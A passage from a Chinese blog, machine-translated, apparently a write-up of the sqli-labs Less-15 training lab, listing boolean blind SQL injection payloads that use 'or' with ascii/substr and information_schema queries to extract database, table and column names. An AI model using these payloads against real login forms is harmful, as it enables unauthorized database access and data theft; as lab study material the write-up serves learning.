当前位置:网站首页>About sqli lab less-15 using or instead of and parsing
About sqli lab less-15 using or instead of and parsing
2022-07-07 12:23:00 【hcjtn】
Follow the old train of thought , Try the means of reporting errors , It is found that no error statement is output , View source code , It is found that there is no output statement ( So consider using blind injection )
( With 15 For example )
Determine the database length :’or (length(database()))=8-- q
Judge the database name :'or (ascii(substr(database(),1,1)))=115-- q
The name of the judgment table :'or (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)))=101-- q
Determine the name of the column :'or (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q
We found that in the previous eight and nine levels, we used and; And by the 15 Turn off , We use or , Let's look at the following two levels of source code ( Take questions 9 and 15 as examples )
Now let's put these two statements together :
It's not hard to see. , If we were 15 Question use and Then it will become :
Obviously not , Because we don't know username Value . If you use or, Then the following values are established as a whole .
And in the 9 In question id=1 Is established, so it can be used and As a connection of statements .
边栏推荐
- DOM parsing XML error: content is not allowed in Prolog
- 108.网络安全渗透测试—[权限提升篇6]—[Windows内核溢出提权]
- Introduction and application of smoothstep in unity: optimization of dissolution effect
- College entrance examination composition, high-frequency mention of science and Technology
- 30. Few-shot Named Entity Recognition with Self-describing Networks 阅读笔记
- @Bean与@Component用在同一个类上,会怎么样?
- 超标量处理器设计 姚永斌 第8章 指令发射 摘录
- EPP+DIS学习之路(2)——Blink!闪烁!
- 【滤波跟踪】捷联惯导纯惯导解算matlab实现
- When sink is consumed in mysql, the self incrementing primary key has been set in the database table. How to operate in Flink?
猜你喜欢
超标量处理器设计 姚永斌 第10章 指令提交 摘录
Mise en œuvre du codage Huffman et du décodage avec interface graphique par MATLAB
wallys/Qualcomm IPQ8072A networking SBC supports dual 10GbE, WiFi 6
Completion report of communication software development and Application
Xiaohongshu microservice framework and governance and other cloud native business architecture evolution cases
(to be deleted later) yyds, paid academic resources, please keep a low profile!
108. Network security penetration test - [privilege escalation 6] - [windows kernel overflow privilege escalation]
全球首堆“玲龙一号”反应堆厂房钢制安全壳上部筒体吊装成功
MATLAB實現Huffman編碼譯碼含GUI界面
数据库系统原理与应用教程(009)—— 概念模型与数据模型
随机推荐
【全栈计划 —— 编程语言之C#】基础入门知识一文懂
Visual Studio 2019 (LocalDB)\MSSQLLocalDB SQL Server 2014 数据库版本为852无法打开,此服务器支持782版及更低版本
H3C HCl MPLS layer 2 dedicated line experiment
《通信软件开发与应用》课程结业报告
免备案服务器会影响网站排名和权重吗?
Fleet tutorial 15 introduction to GridView Basics (tutorial includes source code)
Summed up 200 Classic machine learning interview questions (with reference answers)
HCIA复习整理
Flet教程之 14 ListTile 基础入门(教程含源码)
Swiftui swift internal skill how to perform automatic trigonometric function calculation in swift
ENSP MPLS layer 3 dedicated line
SwiftUI Swift 内功之如何在 Swift 中进行自动三角函数计算
超标量处理器设计 姚永斌 第8章 指令发射 摘录
数据库系统原理与应用教程(008)—— 数据库相关概念练习题
(to be deleted later) yyds, paid academic resources, please keep a low profile!
Hi3516 full system type burning tutorial
Zero shot, one shot and few shot
Learning and using vscode
Visual studio 2019 (localdb) \mssqllocaldb SQL Server 2014 database version is 852 and cannot be opened. This server supports version 782 and earlier
Solve server returns invalid timezone Go to ‘Advanced’ tab and set ‘serverTimezone’ property manually